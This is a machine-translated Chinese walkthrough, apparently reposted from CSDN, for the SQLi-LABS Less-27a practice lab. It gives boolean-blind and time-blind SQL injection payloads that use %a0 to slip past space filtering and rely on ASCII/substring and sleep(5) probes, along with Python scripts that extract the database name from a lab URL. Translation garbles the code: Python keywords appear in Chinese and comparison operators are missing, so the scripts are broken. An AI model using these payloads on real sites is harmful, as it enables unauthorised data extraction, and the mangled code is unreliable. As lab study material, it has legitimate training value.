SQLi LABS Less 27a 联合注入+布尔盲注+时间盲注_sqli,sql注入布尔型

SQLi LABS Less 27a 联合注入+布尔盲注+时间盲注_sqli布尔盲注使用详解,原理步骤实战教程
第一步、判断注入点
地址栏输入:?id1\”and\”1,页面正常显示
地址栏输入&

布尔盲注如何使用详解,原理+步骤+实用教程

第一步是确定注入点

如果我在地址栏中输入“?id=1\’and\’1”,页面显示正常。

如果在地址栏输入“?id=1\’and\’0”,页面异常(空)。

第2 步:确定长度

以您当前的数据库为例,假设数据库名称长度大于1,则在地址栏中输入以下内容:

?id=1\’ 和%a0

长度(

(数据库())

)1

%a0和\’1

库名称必须大于1,以确保页面正确显示并且负载可用。

测试长度从1开始依次增加,其余由脚本决定。

步骤3. 枚举字符

截取库名的第一个字符,将其转换为ASCLL代码,并判断其是否大于1。在地址栏中输入:

?id=1\’ 和%a0

ASCII (

子字符串(

(数据库())

,1,1)

)1

%a0和\’1

字符的ASCLL 代码必须大于1,以确保页面显示正确且负载可用。

接下来判断字符的ASCLL码是否等于(32~126)。

确定第一个字符的内容后,按照此方法确定其余字符。为了提高效率,我们将使用稍后将枚举的脚本。

从库中删除

Python自动推理脚本如下,可以根据需要进行修改。

导入请求

# 将URL 替换为您的射击场级别URL

# 更改两个对应的payload

# 目标URL(无参数)

网址=\’http://8ad7ef14ce564257803e9f3eabade873.app.mituan.zone/Less-27a/\’

# 用于推断长度的有效负载

Payload_len=\’\’?id=1\’和%a0

长度(

(数据库())

)={n}

%a0和\’1\’\’

# 用于枚举字符的有效负载

Payload_str=\’\’?id=1\’和%a0

ASCII (

子字符串(

(数据库())

,{l},1)

)={n}

%a0和\’1\’\’

# 获取长度

def getLength(url, 有效负载):

length=1 # 初始测试长度为1

而True:

Response=request.get(url=url+payload_len.format(n=长度))

# 如果页面上存在该内容则表示成功。

如果响应中包含“您的登录名”。文本:

print(\’长度测试完成。长度为:\’, length,)

返回长度;

: 其他

print(\’测试长度:\’,length)

length +=1 # 增加测试长度

# 获取字符

def getStr(url, 负载, 长度):

str=\’\’ #初始表名/库名为空

# 在循环的第一级截取每个字符

: 表示范围(1, 长度+ 1) 内的l

# 循环的第二级枚举了截取该字符的所有可能性。

对于(33, 126): 范围内的n

响应=request.get(url=url+payload_str.format(l=l, n=n))

# print(\’猜猜\’, n)

# 如果页面上存在该内容则表示成功。

如果响应中包含“您的登录名”。文本:

字符串+=字符(n)

print(\’第\’, l, \’成功猜出第\’个字符: \’, str)

休息;

返回一个字符串。

# 开始猜测

长度=getLength(url, Payload_len)

getStr(url,payload_str,长度)

执行结果如下。

对于其他数据库删除操作,只需将下面圆圈中的位置替换为您的SQL语句即可。

常用的库删除语句见方法一末尾。

方式三:时间盲注

第一步是确定注入点

如果我在地址栏中输入“?id=1\’and\’1”,页面显示正常。

如果在地址栏输入“?id=1\’and\’0”,页面异常(空)。

第2 步:确定长度

以您当前的数据库为例,检查数据库名称的长度是否大于1。如果大于1,请在地址栏中键入以下内容:

?id=1\’ 和%a0

如果(

(长度(

(数据库())

)1)

, 睡眠(5), 3)

%a0和\’1

库名称的长度必须大于1,页面延迟为5秒以确保有效负载可用。

从1 开始,依次增加测试长度,然后使用脚本进行确定。

步骤3. 枚举字符

截取库名的第一个字符,将其转换为ASCLL代码,并检查它是否大于1。如果大于1,请在地址栏中键入以下内容:

?id=1\’ 和%0a

如果(

(ASCII(

子字符串(

(数据库())

,1,1)

)1)

, 睡眠(5), 3)

%a0和\’1

该字符的ASCLL 代码必须大于1,因此页面将延迟5 秒以确保有效负载可用。

接下来判断字符的ASCLL码是否等于(32~126)。

确定第一个字符的内容后,按照此方法确定其他字符,稍后使用脚本枚举。

从库中删除

Python自动化脚本如下,可以根据需要进行修改。

导入请求

导入时间

# 将URL 替换为您的射击场级别URL

# 更改两个对应的payload

# 目标URL(无参数)

网址=\’http://8ad7ef14ce564257803e9f3eabade873.app.mituan.zone/Less-27a/\’

# 用于推断长度的有效负载

Payload_len=\’\’?id=1\’和%a0

如果(

(长度(

(数据库())

)={n})

, 睡眠(5), 3)

%a0和\’1\’\’

# 用于枚举字符的有效负载

Payload_str=\’\’?id=1\’和%0a

如果(

(ASCII(

子字符串(

(数据库())

,{n},1)

)={r})

, 睡眠(5), 3)

%a0和\’1\’\’

# 获取长度

def getLength(url, 有效负载):

length=1 # 初始测试长度为1

而True:

开始时间=时间.time()

Response=request.get(url=url+payload_len.format(n=长度))

# 页面响应时间=执行结束时间-执行开始时间

use_time=time.time() – 开始时间

# 响应时间为5秒表示猜测成功。

使用时间5:

print(\’长度测试完成。长度为:\’, length,)

返回长度;

: 其他

print(\’测试长度:\’,length)

length +=1 # 增加测试长度

# 获取字符

def getStr(url, 负载, 长度):

str=\’\’ #初始表名/库名为空

# 在循环的第一级截取每个字符

: 表示范围(1, 长度+ 1) 内的l

# 循环的第二级枚举了截取该字符的所有可能性。

对于(33, 126): 范围内的n

开始时间=时间.time()

响应=request.get(url=url+payload_str.format(n=l, r=n))

# 页面响应时间=执行结束时间-执行开始时间

use_time=time.time() – 开始时间

# 如果页面上存在该内容则表示成功。

使用时间5:

字符串+=字符(n)

print(\’第\’, l, \’成功猜出第\’个字符: \’, str)

休息;

返回一个字符串。

# 开始猜测

长度=getLength(url, Payload_len)

getStr(url,payload_str,长度)

执行结果如下。

对于其他数据库删除操作,只需将下面圆圈中的位置替换为您的SQL语句即可。

常用的数据库删除语句见方法一末尾。

一、网安学习成长路线图

将网络安全各个方向的技术点归纳为各个领域知识点的总结,方便按照以上知识点找到对应的学习资源,进行更全面的学习。

二、网安视频合集

观看零基础学习视频观看视频很容易上手,按照视频中老师的思路从基础到细节。

三、精品网安学习书籍

当基础知识学到一定程度,有了一定的理解程度后,就可以看前辈编的书或者手写的笔记。这些注释提供了比较独特的理解。我有不同的思考方式。

四、网络安全源码合集+工具包

光学理论是没有用的,所以你必须进行相应的练习,才能将所学的知识运用到实践中。

五、网络安全面试题

最后是大家最关心的一段网络安全面试题。

以上#SQLi LABS Less 27a Joint Injection + Boolean Blind Injection + Time Blind Injection_sqli相关内容来源网络,仅供大家参考。相关信息请参见官方公告。

原创文章,作者:CSDN,如若转载,请注明出处:https://www.sudun.com/ask/92144.html

(0)
CSDN's avatarCSDN
上一篇 2024年6月25日 上午3:08
下一篇 2024年6月25日 上午3:29

相关推荐

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注